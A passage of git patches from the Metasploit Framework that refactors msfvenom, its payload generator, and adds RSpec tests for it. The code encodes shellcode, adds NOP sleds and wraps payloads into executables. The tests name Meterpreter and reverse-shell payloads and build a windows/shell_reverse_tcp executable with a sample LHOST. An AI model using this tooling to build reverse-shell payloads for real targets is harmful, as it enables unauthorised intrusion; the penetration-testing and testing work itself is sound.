opts[:list_options] - puts Msf::Serializer::ReadableText.dump_module(payload) - exit -end - -if payload_raw.nil? or payload_raw.empty? - begin - payload_raw = payload.generate_simple( - 'Format' => fmt, - 'Options' => datastore, - 'Encoder' => nil) - rescue - $stderr.puts "Error generating payload: #{$!}" - exit - end -end - -if opts[:template] - path = File.dirname(opts[:template]) - altexe = File.basename(opts[:template]) -end -exeopts = { :inject => opts[:inject], :template_path => path, :template => altexe } - -# If we were given addshellcode for a win32 payload, -# create a double-payload; one running in one thread, one running in the other -if opts[:addshellcode] and opts[:platform].platforms.include?(Msf::Module::Platform::Windows) and opts[:arch] == 'x86' - payload_raw = Msf::Util::EXE.win32_rwx_exec_thread(payload_raw,0,'end') - file = ::File.new(opts[:addshellcode]) - file.binmode - payload_raw << file.read - file.close -end - -if opts[:encode] - done = false - encoders = get_encoders(opts[:arch], opts[:encoder]) - encoders.each do |enc| - next if not enc - begin - break if done - enc.datastore.import_options_from_hash(datastore) - skip = false - raw = nil - - if not opts[:iterations] - opts[:iterations] = 1 - end - - 1.upto(opts[:iterations].to_i) do |iteration| - begin - raw = enc.encode(payload_raw.dup, opts[:badchars], nil, opts[:platform]) - rescue Msf::EncodingError - print_error("#{enc.refname} failed: #{$!.class} : #{$!}") - skip = true - break - end - if opts[:space] and opts[:space] > 0 and raw.length > opts[:space] - print_error("#{enc.refname} created buffer that is too big (#{raw.length})\n\n") - skip = true - break - end - - print_status("#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n") - payload_raw = raw.dup - if iteration == opts[:iterations] - done = true - break - end - end - next if skip - - rescue ::Errno::ENOENT, ::Errno::EINVAL - print_error("#{enc.refname} failed: #{$!}") - break - - rescue => e - print_error("#{enc.refname} failed: #{e.class} #{e}") - e.backtrace.each { |el| - $stderr.puts(el.to_s) - } - end - end -end - -if opts[:nopsled] - #puts opts[:arch].class - nopts = { 'BadChars' => opts[:badchars] } - nops = generate_nops([opts[:arch]], opts[:nopsled], nil, nopts) - payload_raw = nops + payload_raw -end - -$stdout.binmode - -case opts[:format].downcase -# Special-case this to check endianness -when "js_be" - - if Rex::Arch.endian(payload.arch) != ENDIAN_BIG - print_error("Big endian format selected for a non big endian payload") - exit - end - $stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format]) - -# Special-case this so we can build a war directly from the payload if -# possible -when "war" - exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts) - if (!exe and payload.platform.platforms.index(Msf::Module::Platform::Java)) - exe = payload.generate_war.pack - else - exe = Msf::Util::EXE.to_jsp_war(exe) - end - $stdout.write exe - -# Same as war, special-case this so we can build a jar directly from the -# payload if possible -when "java" - exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts) - if(!exe and payload.platform.platforms.index(Msf::Module::Platform::Java)) - exe = payload.generate_jar.pack - end - if exe - $stdout.write exe - else - print_error("Could not generate payload format") - end - -when *Msf::Simple::Buffer.transform_formats - $stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format]) - -when *Msf::Util::EXE.to_executable_fmt_formats - exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts) - if exe.nil? - print_error("This format does not support that platform/architecture") - exit - end - $stdout.write exe - -else - print_error("Unsupported format") - exit -end - - diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb new file mode 100644 index 0000000000000..c4f8598a38928 --- /dev/null +++ b/spec/msfvenom_spec.rb @@ -0,0 +1,49 @@ + +require 'spec_helper' +require 'msf/core' +# doesn't end in .rb or .so, so have to load instead of require +load File.join(Msf::Config.install_root, 'msfvenom') + +describe MsfVenom do + subject(:venom) { described_class.new } + + describe "#dump_encoders" do + it "should list known encoders" do + dump = venom.dump_encoders + + %w| + generic/none + x86/shikata_ga_nai + x64/xor + php/base64 + |.each do |name| + dump.should include(name) + end + end + end + + + describe "#dump_payloads" do + it "should list known payloads" do + dump = venom.dump_payloads + + %w| + windows/meterpreter/reverse_tcp + windows/meterpreter/reverse_https + linux/x86/shell/reverse_tcp + linux/x86/shell_reverse_tcp + linux/x64/shell/reverse_tcp + linux/x64/shell_reverse_tcp + linux/armle/shell/reverse_tcp + linux/armle/shell_reverse_tcp + linux/mipsbe/shell_reverse_tcp + java/meterpreter/reverse_tcp + java/meterpreter/reverse_https + php/meterpreter/reverse_tcp + |.each do |name| + dump.should include(name) + end + end + end + +end From 95451862d645e29ef226bc3cefc8cec175abe6c3 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 2 Jul 2013 01:58:08 -0500 Subject: [PATCH 014/454] More msfvenom refactoring * Make @framework into a caching method instead * Allow instantiating with streams for where payloads and comments should go. This allows us to capture std{out,err} when running specs * Specs are still woefully under-representative * Get rid of all the calls to exit --- msfvenom | 123 +++++++++++++++++++++------------------- spec/msfvenom_spec.rb | 129 ++++++++++++++++++++++++++++++++++++++---- 2 files changed, 185 insertions(+), 67 deletions(-) diff --git a/msfvenom b/msfvenom index 120600bf36176..d89db9e8e6d54 100755 --- a/msfvenom +++ b/msfvenom @@ -20,20 +20,35 @@ class MsfVenom class MsfVenomError < StandardError; end class UsageError < MsfVenomError; end class NoTemplateError < MsfVenomError; end + class IncompatibleError < MsfVenomError; end Status = "[*] " Error = "[-] " require 'optparse' + def initialize(in_stream=$stdin, out_stream=$stdout, err_stream=$stderr, framework=nil) + @in = in_stream + @out = out_stream + @err = err_stream + @framework = framework + end + def init_framework(create_opts={}) - return @framework if @framework create_opts[:module_types] ||= [ ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP ] @framework = ::Msf::Simple::Framework.create(create_opts.merge('DisableDatabase' => true)) end + def framework + return @framework if @framework + + init_framework + + @framework + end + def parse_args(args) @opts = {} @datastore = {} @@ -42,7 +57,7 @@ class MsfVenom opt.separator('') opt.separator('Options:') - opt.on('-p', '--payload [payload]', String, 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p| + opt.on('-p', '--payload ', String, 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p| if p == '-' @opts[:payload] = 'stdin' else @@ -57,11 +72,11 @@ class MsfVenom @opts[:list] = l end - opt.on('-n', '--nopsled [length]', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n| + opt.on('-n', '--nopsled ', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n| @opts[:nopsled] = n.to_i end - opt.on('-f', '--format [format]', String, "Output format (use --help-formats for a list)") do |f| + opt.on('-f', '--format ', String, "Output format (use --help-formats for a list)") do |f| @opts[:format] = f end @@ -70,31 +85,31 @@ class MsfVenom @opts[:encoder] = e end - opt.on('-a', '--arch [architecture]', String, 'The architecture to use') do |a| + opt.on('-a', '--arch ', String, 'The architecture to use') do |a| @opts[:arch] = a end - opt.on('--platform [platform]', String, 'The platform of the payload') do |l| + opt.on('--platform ', String, 'The platform of the payload') do |l| @opts[:platform] = l end - opt.on('-s', '--space [length]', Integer, 'The maximum size of the resulting payload') do |s| + opt.on('-s', '--space ', Integer, 'The maximum size of the resulting payload') do |s| @opts[:space] = s end - opt.on('-b', '--bad-chars [list] ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| + opt.on('-b', '--bad-chars ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| @opts[:badchars] = b end - opt.on('-i', '--iterations [count] ', Integer, 'The number of times to encode the payload') do |i| + opt.on('-i', '--iterations ', Integer, 'The number of times to encode the payload') do |i| @opts[:iterations] = i end - opt.on('-c', '--add-code [path] ', String, 'Specify an additional win32 shellcode file to include') do |x| + opt.on('-c', '--add-code ', String, 'Specify an additional win32 shellcode file to include') do |x| @opts[:addshellcode] = x end - opt.on('-x', '--template [path] ', String, 'Specify a custom executable file to use as a template') do |x| + opt.on('-x', '--template ', String, 'Specify a custom executable file to use as a template') do |x| @opts[:template] = x end @@ -120,12 +135,11 @@ class MsfVenom end begin - opt.parse! + opt.parse!(args) rescue OptionParser::InvalidOption => e - p e raise UsageError, "Invalid option\n#{opt}" rescue OptionParser::MissingArgument => e - p e + raise UsageError, "Missing required argument for option\n#{opt}" end if @opts.empty? @@ -145,20 +159,20 @@ class MsfVenom end def print_status(msg) - $stderr.puts(Status + msg) + @err.puts(Status + msg) end def print_error(msg) - $stderr.puts(Error + msg) + @err.puts(Error + msg) end def get_encoders(arch, encoder) encoders = [] if (encoder) - encoders << @framework.encoders.create(encoder) + encoders << framework.encoders.create(encoder) else - @framework.encoders.each_module_ranked( + framework.encoders.each_module_ranked( 'Arch' => arch ? arch.split(',') : nil) { |name, mod| encoders << mod.new } @@ -168,8 +182,8 @@ class MsfVenom end def payload_stdin - $stdin.binmode - payload = $stdin.read + @in.binmode + payload = @in.read payload end @@ -178,14 +192,14 @@ class MsfVenom nop_jpts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] if nop_mod - nop = @framework.nops.create(nop_mod) + nop = framework.nops.create(nop_mod) raw = nop.generate_sled(len, nop_opts) return raw if raw end - @framework.nops.each_module_ranked('Arch' => arch) do |name, mod| + framework.nops.each_module_ranked('Arch' => arch) do |name, mod| begin - nop = @framework.nops.create(name) + nop = framework.nops.create(name) raw = nop.generate_sled(len, nop_opts) return raw if raw rescue @@ -198,14 +212,14 @@ class MsfVenom init_framework(:module_types => [ ::Msf::MODULE_PAYLOAD ]) tbl = Rex::Ui::Text::Table.new( 'Indent' => 4, - 'Header' => "Framework Payloads (#{@framework.stats.num_payloads} total)", + 'Header' => "Framework Payloads (#{framework.stats.num_payloads} total)", 'Columns' => [ "Name", "Description" ]) - @framework.payloads.each_module { |name, mod| + framework.payloads.each_module { |name, mod| tbl << [ name, mod.new.description ] } @@ -225,7 +239,7 @@ class MsfVenom ]) cnt = 0 - @framework.encoders.each_module( + framework.encoders.each_module( 'Arch' => arch ? arch.split(',') : nil) { |name, mod| tbl << [ name, mod.rank_to_s, mod.new.name ] @@ -239,14 +253,14 @@ class MsfVenom init_framework(:module_types => [ ::Msf::MODULE_NOP ]) tbl = Rex::Ui::Text::Table.new( 'Indent' => 4, - 'Header' => "Framework NOPs (#{@framework.stats.num_nops} total)", + 'Header' => "Framework NOPs (#{framework.stats.num_nops} total)", 'Columns' => [ "Name", "Description" ]) - @framework.nops.each_module { |name, mod| + framework.nops.each_module { |name, mod| tbl << [ name, mod.new.description ] } @@ -270,15 +284,14 @@ class MsfVenom @opts[:platform] = ::Msf::Module::PlatformList.transform("Windows") end else - payload = @framework.payloads.create(@opts[:payload]) + payload = framework.payloads.create(@opts[:payload]) if payload.nil? - print_error("Invalid payload: #{@opts[:payload]}") - exit + raise UsageError, "Invalid payload: #{@opts[:payload]}" end if @opts[:list_options] print_status("Options for #{payload.fullname}\n\n" + ::Msf::Serializer::ReadableText.dump_module(payload,' ')) - exit + return end @opts[:arch] ||= payload.arch[0] # If it's not stdin, we'll already have a PlatformList @@ -299,23 +312,23 @@ class MsfVenom @opts[:list].each do |mod| case mod.downcase when "payloads" - $stderr.puts dump_payloads + @err.puts dump_payloads when "encoders" - $stderr.puts dump_encoders(@opts[:arch]) + @err.puts dump_encoders(@opts[:arch]) when "nops" - $stderr.puts dump_nops + @err.puts dump_nops when "all" # Init here so #dump_payloads doesn't create a framework with # only payloads, etc. init_framework - $stderr.puts dump_payloads - $stderr.puts dump_encoders - $stderr.puts dump_nops + @err.puts dump_payloads + @err.puts dump_encoders + @err.puts dump_nops else print_error("Invalid module type") end end - exit + return end # Normalize the options @@ -326,7 +339,6 @@ class MsfVenom @opts[:encode] ||= !(@opts[:badchars].nil? or @opts[:badchars].empty?) - init_framework payload_raw = generate_raw_payload if @opts[:template] @@ -391,69 +403,66 @@ class MsfVenom rescue => e print_error("#{enc.refname} failed: #{e.class} #{e}") e.backtrace.each { |el| - $stderr.puts(el.to_s) + @err.puts(el.to_s) } end end end if @opts[:nopsled] - #puts @opts[:arch].class nopts = { 'BadChars' => @opts[:badchars] } nops = generate_nops([@opts[:arch]], @opts[:nopsled], nil, nopts) payload_raw = nops + payload_raw end - $stdout.binmode + @out.binmode case @opts[:format].downcase # Special-case this to check endianness when "js_be" if Rex::Arch.endian(payload.arch) != ENDIAN_BIG - print_error("Big endian format selected for a non big endian payload") - exit + raise IncompatibleError, "Big endian format selected for a non big endian payload" end - $stdout.write ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format]) + @out.write ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format]) # Special-case this so we can build a war directly from the payload if # possible when "war" - exe = ::Msf::Util::EXE.to_executable_fmt(@framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) + exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) if (!exe and payload.platform.platforms.index(::Msf::Module::Platform::Java)) exe = payload.generate_war.pack else exe = ::Msf::Util::EXE.to_jsp_war(exe) end - $stdout.write exe + @out.write exe # Same as war, special-case this so we can build a jar directly from the # payload if possible when "java" - exe = ::Msf::Util::EXE.to_executable_fmt(@framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) + exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) if(!exe and payload.platform.platforms.index(::Msf::Module::Platform::Java)) exe = payload.generate_jar.pack end if exe - $stdout.write exe + @out.write exe else print_error("Could not generate payload format") end when *::Msf::Simple::Buffer.transform_formats - $stdout.write ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format]) + @out.write ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format]) when *::Msf::Util::EXE.to_executable_fmt_formats - exe = ::Msf::Util::EXE.to_executable_fmt(@framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) + exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) if exe.nil? - print_error("This format does not support that platform/architecture") - exit + raise IncompatibleError, "This format does not support that platform/architecture" end - $stdout.write exe + @out.write exe else - print_error("Unsupported format") - exit + raise IncompatibleError, "Unsupported format" + return end end end diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index c4f8598a38928..bdc8072944e22 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -5,31 +5,58 @@ load File.join(Msf::Config.install_root, 'msfvenom') describe MsfVenom do - subject(:venom) { described_class.new } + + let(:stdin) { StringIO.new("", "rb") } + let(:stdout) { StringIO.new("", "wb") } + let(:stderr) { StringIO.new("", "wb") } + subject(:venom) { described_class.new(stdin, stdout, stderr, framework) } + before(:each) do + conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') + conf_dir.mkpath + end + after(:each) do + dummy_dir = Metasploit::Framework.root.join('spec', 'dummy') + dummy_dir.rmtree + end + + before(:all) do + conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') + conf_dir.mkpath + create_opts = { + :module_types => [ + ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP + ], + 'ConfigDirectory' => conf_dir.to_s, + 'DisableDatabase' => true + } + @framework = ::Msf::Simple::Framework.create(create_opts) + end + + let(:framework) { @framework } describe "#dump_encoders" do it "should list known encoders" do dump = venom.dump_encoders - %w| + %w! generic/none x86/shikata_ga_nai x64/xor php/base64 - |.each do |name| + !.each do |name| dump.should include(name) end end end - describe "#dump_payloads" do it "should list known payloads" do dump = venom.dump_payloads - %w| - windows/meterpreter/reverse_tcp - windows/meterpreter/reverse_https + %w! + cmd/unix/reverse + java/meterpreter/reverse_tcp + java/meterpreter/reverse_https linux/x86/shell/reverse_tcp linux/x86/shell_reverse_tcp linux/x64/shell/reverse_tcp @@ -37,13 +64,95 @@ linux/armle/shell/reverse_tcp linux/armle/shell_reverse_tcp linux/mipsbe/shell_reverse_tcp - java/meterpreter/reverse_tcp - java/meterpreter/reverse_https php/meterpreter/reverse_tcp - |.each do |name| + windows/meterpreter/reverse_tcp + windows/meterpreter/reverse_https + !.each do |name| dump.should include(name) end end end + describe "#parse_args" do + + context "with unexpected options" do + it "should raise" do + expect { + venom.parse_args(%w! --non-existent-option !) + }.to raise_error(MsfVenom::UsageError) + end + end + + context "with missing required arg" do + %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg| + it "#{required_arg} should raise" do + expect { + venom.parse_args([required_arg]) + }.to raise_error(MsfVenom::UsageError) + end + end + end + + end + + describe "#generate_raw_payload" do + + before do + venom.parse_args(args) + end + + context "with --options" do + context "and a payload" do + let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! } + + it "should print options" do + expect { + venom.generate_raw_payload + }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should include("LPORT") + end + end + context "and an invalid payload" do + let(:args) { %w! -o -p asdf! } + it "should raise" do + expect { + venom.generate_raw_payload + }.to raise_error(MsfVenom::UsageError) + end + end + + end + + end + + describe "#generate" do + before { venom.parse_args(args) } + + context "with 'exe' format" do + let(:args) { %w!-f exe -p windows/shell_reverse_tcp LHOST=192.168.0.1! } + it "should print an exe to stdout" do + expect { venom.generate }.to_not raise_error + output = stdout.string + output[0,2].should == "MZ" + end + end + + context "with incorrect datastore option format" do + let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! } + it "should fail validation" do + expect { venom.generate }.to raise_error(Msf::OptionValidateError) + end + end + + context "without required datastore option" do + let(:args) { %w!-f exe -p windows/shell_reverse_tcp ! } + it "should fail validation" do + expect { venom.generate }.to raise_error(Msf::OptionValidateError) + end + end + + end + end From ffb28feaa9b6d76ae589ed66d920703d74caf262 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 2 Jul 2013 02:53:30 -0500 Subject: [PATCH 015/454] Add spec for #dump_nops --- spec/msfvenom_spec.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index bdc8072944e22..a33d1bb8859ba 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -42,7 +42,19 @@ generic/none x86/shikata_ga_nai x64/xor - php/base64 + !.each do |name| + dump.should include(name) + end + end + end + + describe "#dump_nops" do + it "should list known nops" do + dump = venom.dump_nops + + %w! + x86/opty2 + armle/simple !.each do |name| dump.should include(name) end @@ -52,7 +64,7 @@ describe "#dump_payloads" do it "should list known payloads" do dump = venom.dump_payloads - + # Just a representative sample of some of the important ones. %w! cmd/unix/reverse java/meterpreter/reverse_tcp From e33091674417192b8c30ef92a165cdcba421fc76 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 3 Jul 2013 12:25:15 -0500 Subject: [PATCH 016/454] Pull out common stuff in Util::EXE/MsfVenom tests --- lib/msf/util/exe.rb | 29 +++++++++++++--------- msfconsole | 2 +- msfvenom | 7 +++--- spec/lib/msf/util/exe_spec.rb | 46 ++++------------------------------- spec/msfvenom_spec.rb | 19 ++++++++++++++- 5 files changed, 45 insertions(+), 58 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index b7420d279b8ae..9392ea0c2f5df 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1993,12 +1993,12 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) output = case arch - when ARCH_X86,nil then Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts) - when ARCH_X86_64 then Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts) - when ARCH_X64 then Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts) - when ARCH_ARMLE then Msf::Util::EXE.to_linux_armle_elf(framework, code, exeopts) - when ARCH_MIPSBE then Msf::Util::EXE.to_linux_mipsbe_elf(framework, code, exeopts) - when ARCH_MIPSLE then Msf::Util::EXE.to_linux_mipsle_elf(framework, code, exeopts) + when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts) + when ARCH_X86_64 then to_linux_x64_elf(framework, code, exeopts) + when ARCH_X64 then to_linux_x64_elf(framework, code, exeopts) + when ARCH_ARMLE then to_linux_armle_elf(framework, code, exeopts) + when ARCH_MIPSBE then to_linux_mipsbe_elf(framework, code, exeopts) + when ARCH_MIPSLE then to_linux_mipsle_elf(framework, code, exeopts) end elsif(plat and (plat.index(Msf::Module::Platform::BSD))) output = case arch @@ -2006,17 +2006,22 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) end elsif(plat and (plat.index(Msf::Module::Platform::Solaris))) output = case arch - when ARCH_X86,nil then Msf::Util::EXE.to_solaris_x86_elf(framework, code, exeopts) + when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts) end end + # this should really be 'jar' + when 'java' + + + when 'macho' output = case arch - when ARCH_X86,nil then Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts) - when ARCH_X86_64 then Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts) - when ARCH_X64 then Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts) - when ARCH_ARMLE then Msf::Util::EXE.to_osx_arm_macho(framework, code, exeopts) - when ARCH_PPC then Msf::Util::EXE.to_osx_ppc_macho(framework, code, exeopts) + when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts) + when ARCH_X86_64 then to_osx_x64_macho(framework, code, exeopts) + when ARCH_X64 then to_osx_x64_macho(framework, code, exeopts) + when ARCH_ARMLE then to_osx_arm_macho(framework, code, exeopts) + when ARCH_PPC then to_osx_ppc_macho(framework, code, exeopts) end when 'vba' diff --git a/msfconsole b/msfconsole index 211b455af50ca..86b79265cb0bd 100755 --- a/msfconsole +++ b/msfconsole @@ -100,7 +100,7 @@ class OptsConsole options['DatabaseMigrationPaths'] ||= [] options['DatabaseMigrationPaths'] << m end - + opts.on("-e", "--environment ", "Specify the database environment to load from the YAML") do |m| options['DatabaseEnv'] = m end diff --git a/msfvenom b/msfvenom index d89db9e8e6d54..a8a1bf53543b1 100755 --- a/msfvenom +++ b/msfvenom @@ -430,7 +430,7 @@ class MsfVenom # possible when "war" exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) - if (!exe and payload.platform.platforms.index(::Msf::Module::Platform::Java)) + if (!exe && payload.respond_to?(:generate_war)) exe = payload.generate_war.pack else exe = ::Msf::Util::EXE.to_jsp_war(exe) @@ -441,7 +441,7 @@ class MsfVenom # payload if possible when "java" exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) - if(!exe and payload.platform.platforms.index(::Msf::Module::Platform::Java)) + if (!exe && payload.respond_to?(:generate_jar)) exe = payload.generate_jar.pack end if exe @@ -451,7 +451,8 @@ class MsfVenom end when *::Msf::Simple::Buffer.transform_formats - @out.write ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format]) + buf = ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format]) + @out.write buf when *::Msf::Util::EXE.to_executable_fmt_formats exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 789023ec82299..1ef4790d5f3c3 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/base/simple' +require 'spec_helper' describe Msf::Util::EXE do @@ -28,41 +29,9 @@ bin.should == nil end - platform_format_map = { - "windows" => [ - { :format => "dll", :arch => "x86", :file_fp => /PE32 .*DLL/ }, - { :format => "dll", :arch => "x64", :file_fp => /PE32\+.*DLL/ }, - { :format => "exe", :arch => "x86", :file_fp => /PE32 / }, - { :format => "exe", :arch => "x64", :file_fp => /PE32\+/ }, - { :format => "exe-small", :arch => "x86", :file_fp => /PE32 / }, - # No template for 64-bit exe-small. That's fine, we probably - # don't need one. - #{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ }, - { :format => "exe-only", :arch => "x86", :file_fp => /PE32 / }, - { :format => "exe-only", :arch => "x64", :file_fp => /PE32\+ / }, - ], - "linux" => [ - { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, - { :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ }, - { :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ }, - { :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ }, - { :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ }, - ], - "bsd" => [ - { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ }, - ], - "solaris" => [ - { :format => "elf", :arch => "x86", :file_fp => /ELF 32/ }, - ], - "osx" => [ - { :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ }, - { :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ }, - { :format => "macho", :arch => "armle", :file_fp => /Mach-O.*acorn/, :pending => true }, - { :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/, :pending => true }, - ] - } - - platform_format_map.each do |plat, formats| + include_context 'Msf::Util::Exe' + + @platform_format_map.each do |plat, formats| context "with platform=#{plat}" do let(:platform) do Msf::Module::PlatformList.transform(plat) @@ -95,12 +64,7 @@ bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", fmt, {}) bin.should be_a String - f = IO.popen("file -","w+") - f.write(bin) - f.close_write - fp = f.read - f.close - fp.should =~ format_hash[:file_fp] if format_hash[:file_fp] + verify_bin_fingerprint(format_hash, bin) end end diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index a33d1bb8859ba..13f14cbfa3280 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -33,7 +33,6 @@ end let(:framework) { @framework } - describe "#dump_encoders" do it "should list known encoders" do dump = venom.dump_encoders @@ -140,6 +139,8 @@ end describe "#generate" do + include_context 'Msf::Util::Exe' + before { venom.parse_args(args) } context "with 'exe' format" do @@ -165,6 +166,22 @@ end end + @platform_format_map.each do |plat, formats| + formats.each do |format_hash| + context "with format=#{format_hash[:format]} platform=#{plat} arch=#{format_hash[:arch]}" do + # This will build executables with no payload. They won't work + # of course, but at least we can see that it is producing the + # correct file format for the given arch and platform. + let(:args) { %W! -p - -f #{format_hash[:format]} -a #{format_hash[:arch]} --platform #{plat} ! } + it "should print a #{format_hash[:format]} to stdout" do + venom.generate + output = stdout.string + verify_bin_fingerprint(format_hash, output) + end + end + end + end + end end From 8a13dc5a6278068dfb0e0d5a3e3eec2a366a34e4 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 3 Jul 2013 15:59:21 -0500 Subject: [PATCH 017/454] Add a couple more tests --- spec/msfvenom_spec.rb | 62 +++++++++++++++++++++++++++---------------- 1 file changed, 39 insertions(+), 23 deletions(-) diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index 13f14cbfa3280..ef22268fe7dff 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -86,20 +86,24 @@ describe "#parse_args" do + context "help" do + it "should raise UsageError" do + expect { venom.parse_args(%w! -h !) }.to raise_error(MsfVenom::UsageError) + expect { venom.parse_args(%w! --help !) }.to raise_error(MsfVenom::UsageError) + expect { venom.parse_args(%w! --help-formats !) }.to raise_error(MsfVenom::UsageError) + end + end + context "with unexpected options" do it "should raise" do - expect { - venom.parse_args(%w! --non-existent-option !) - }.to raise_error(MsfVenom::UsageError) + expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError) end end context "with missing required arg" do %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg| it "#{required_arg} should raise" do - expect { - venom.parse_args([required_arg]) - }.to raise_error(MsfVenom::UsageError) + expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError) end end end @@ -113,29 +117,48 @@ end context "with --options" do + context "and a payload" do let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! } - it "should print options" do - expect { - venom.generate_raw_payload - }.to_not raise_error + expect { venom.generate_raw_payload }.to_not raise_error output = stderr.string output.should include("LHOST") output.should include("LPORT") end end + context "and an invalid payload" do let(:args) { %w! -o -p asdf! } it "should raise" do - expect { - venom.generate_raw_payload - }.to raise_error(MsfVenom::UsageError) + expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) end end end + context "building an elf with linux/x86/shell_bind_tcp" do + let(:args) { %w! -f elf -p linux/x86/shell_bind_tcp ! } + # We're not encoding, so should be testable here + it "should contain /bin/sh" do + output = venom.generate_raw_payload + # usually push'd, so it's not all strung together + output.should include("/sh") + output.should include("/bin") + end + end + + context "with a raw linux/x86/shell_bind_tcp" do + let(:args) { %w! -f raw -p linux/x86/shell_bind_tcp ! } + # We're not encoding, so should be testable here + it "should contain /bin/sh" do + output = venom.generate_raw_payload + # usually push'd, so it's not all strung together + output.should include("/sh") + output.should include("/bin") + end + end + end describe "#generate" do @@ -143,16 +166,7 @@ before { venom.parse_args(args) } - context "with 'exe' format" do - let(:args) { %w!-f exe -p windows/shell_reverse_tcp LHOST=192.168.0.1! } - it "should print an exe to stdout" do - expect { venom.generate }.to_not raise_error - output = stdout.string - output[0,2].should == "MZ" - end - end - - context "with incorrect datastore option format" do + context "with invalid datastore option" do let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! } it "should fail validation" do expect { venom.generate 